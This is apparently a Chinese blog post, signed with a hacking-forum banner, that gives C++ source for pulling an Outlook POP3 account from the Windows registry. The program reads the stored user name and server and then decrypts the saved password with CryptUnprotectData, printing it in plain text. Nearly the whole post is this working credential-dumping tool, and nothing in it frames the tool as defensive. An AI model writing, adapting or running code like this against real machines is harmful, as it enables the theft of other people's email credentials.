• VC 解密OUTLOOK pop3保存注册表密码


    #include "stdafx.h"
    #include <windows.h>
    #include <iostream>
    #include <cstdlib>
    #include <stdio.h>
    using namespace std;
    #pragma comment(lib, "crypt32.lib") 
     
    WINCRYPT32API
            BOOL
            WINAPI
            CryptUnprotectData(
            __in            DATA_BLOB*      pDataIn,             // in encr blob
            __deref_opt_out_opt LPWSTR*     ppszDataDescr,       // out
            __in_opt        DATA_BLOB*      pOptionalEntropy,
            __reserved      PVOID           pvReserved,
            __in_opt        CRYPTPROTECT_PROMPTSTRUCT*  pPromptStruct,
            __in            DWORD           dwFlags,
            __out           DATA_BLOB*      pDataOut
            );
     
    void opt(char* prog)
    {
            printf("Welcome [url=http://www.90sec.org]www.90sec.org[/url]
    ");
            printf("[-]:%s Get_pop3 passwords
    ",prog);
    }
     
    int main(int argc,char* argv[])
    {
            opt(argv[0]);
            printf("
    ");
            HKEY hKey;     
            LPCTSTR lpRun = L"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Test\9375CFF0413111d3B88A00104B2A6676\00000002";
            //READ POP3 DATA define
            //----------------------------------------
            DWORD sizeBuff = 1000; //read length
            DWORD dwtype = REG_BINARY; // reg type
            BYTE reBuff[1000] = {0}; //save string length
            long lRet; //Reg return values
            BYTE SmtpServer[200] = {0}; //read reg String length
            DWORD SMtplen = 200; //DWORD reg read length
            BYTE SmtpUser[200] = {0};//read reg String length
            DWORD SMtpUserlen = 200; //DWORD reg read length
            //------------------------------------------
     
            lRet= RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_READ, &hKey); //open reg
            if (lRet != ERROR_SUCCESS)
            {
                    printf("RegOpenKeyEx Failed
    ");
                    return 0;
            }else
            {
                    printf("RegOpenKeyEx Ing.....
    ");
            }
     
            if (RegQueryValueEx(hKey,L"POP3 User",0,&dwtype,SmtpUser,&SMtpUserlen) == ERROR_SUCCESS) //query Pop3 Server address
            {
                    //cout << "Smtp User:" << SmtpServer << endl;
                    printf("POP3 User:%S
    ",SmtpUser);//print Pop3 user
            }
     
            if (RegQueryValueEx(hKey,L"POP3 Server",0,&dwtype,SmtpServer,&SMtplen) == ERROR_SUCCESS) //query Pop3 Server address
            {
                    //cout << "Smtp User:" << SmtpServer << endl;
                    printf("Smtp Server:%S
    ",SmtpServer);//print server address
            }
     
            if(RegQueryValueEx(hKey,L"POP3 Password",0,&dwtype,reBuff,&sizeBuff) == ERROR_SUCCESS) //query POP3 password
            {
                    DATA_BLOB DataPassword;
                    DATA_BLOB DataOutput;
                    DataPassword.cbData = sizeBuff -1;
                    DataPassword.pbData = &reBuff[1];
                    if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt pop3 password
                    {
                            //cout << DataOutput.pbData << endl;
                            wcout << "POP3 Password: " << (wchar_t*)DataOutput.pbData;   //print password
                    }else
                    {
                            cout << "Read error
    " << endl; //error
                            return 0;
                    }
                    return 0;
    }
     
            RegCloseKey(hKey);
            return 0;
    }
    

      

  • 相关阅读:
    【五校联考5day1】登山
    非旋Treap及其可持久化
    自然数幂求和——第二类Strling数
    [JZOJ6011] 【NOIP2019模拟1.25A组】天天爱跑步
    [JZOJ5232] 【NOIP2017模拟A组模拟8.5】带权排序
    FreeRTOS 任务通知模拟消息邮箱
    Python爬虫技术:爬虫时如何知道是否代理ip伪装成功?
    Python网络爬虫入门实战(爬取最近7天的天气以及最高/最低气温)
    Python numpy的基本操作你一般人都不会
    如何正确的使用Python解释器?你之前肯定用错了
  • 原文地址:https://www.cnblogs.com/killbit/p/4330599.html
Copyright © 2020-2023  润新知